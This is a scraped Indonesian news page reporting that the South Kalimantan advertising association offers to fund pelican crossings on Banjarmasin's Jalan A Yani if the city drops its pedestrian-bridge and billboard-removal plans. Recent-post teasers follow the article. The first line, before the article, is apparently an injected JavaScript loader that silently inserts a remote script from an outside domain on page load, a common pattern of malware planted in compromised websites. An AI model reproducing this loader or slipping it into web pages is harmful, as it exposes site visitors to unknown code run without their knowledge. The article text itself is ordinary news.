(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Jika JPO Dibatalkan, APPSI Kalsel Janji Bangun Pelican Cross


BANJARMASIN, Ketua Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalsel Winardi Sethiono mengklaim para pengusaha advertising siap berkontribusi untuk ikut membangun Pelican Cross di seputaran jalan A Yani dengan dana pribadi. Upaya ini untuk makin mudahkan pejalan kaki di Kota Banjarmasin.

Namun hal ini asal kebijakan Pemko Banjarmasin yang ingin membangun Jembatan Penyeberangan Orang (JPO) dan menggusur Billboard di Jalan A Yani, urung diberlakukan. “Kita siap berkontribusi untuk membangun Pelican Cross bagi pejalan kaki dibawah setiap Billboard yang terpasang di Jalan A Yani. Ini sebagai bentuk tanggungjawab pengusaha advertising kepada pemerintah daerah setempat dan masyarakat,” tegasnya, Jumat (1/2).

Bagi dia keinginan Pemko Banjarmasin untuk membangun JPO masih tidaklah tepat dilakukan sekarang, karena di Kota Banjarmasin tingkat kepadatan kendaraan bermotor tidak terlalu tinggi di jalan raya.

“Lagi pula di kota besar di Indonesia, JPO malah sudah banyak yang dibongkar. Hal ini karena dianggap menjadi perusak pemandangan kota dan banyak digunakan tidak sesuai fungsinya,” tambahnya.

Kemudian terkait keinginan Pemko Banjarmasin untuk meniadakan Billboard di sekitar jalan A Yani berdasarkan Peraturan Menteri Pekerjaan Umum Tahun 2010 menurutnya juga perlu dipertimbangkan lagi.

Hal ini karena akan membuat pendapatan Pemko Banjarmasin dari sisi pajak advertising akan berkurang drastis. Selain itu dari sisi pengusaha juga dirugikan karena investasi billboard yang dikeluarkan masih belum Break Even Point (BEP).

“Saat ini kan titik Bilboard yang ada disekitaran Jalan A Yani hanya tinggal 9 Titik dari 16 titik yang ada sebelumnya. Kalau 9 Titik ini dihilangkan semua tentu ini akan sangat merugikan pengusaha advertising, karena dari sisi modal untuk membuat billboard belum BEP,” keluhnya.

Untuk itulah dalam kesempatan ini ia kembali mengingatkan Pemko Banjarmasin untuk tidak gegabah dalam mengambil kebijakan yang merugikan pengusaha lokal dan lebih mengedapankan pencitraan semata.

“Kita ingin Kota Banjarmasin lebih baik lagi pelayanan publiknya kepada masyarakat itu saya sepakat. Namun jangan sampai kebijakan yang dibuat membawa kerugian bagi pihak lain, salah satunya pengusaha lokal,” pungkasnya. (arief)

Reporter:Arief
Editor:Cell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

7 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

7 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

8 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

8 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

8 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

11 jam ago

This website uses cookies.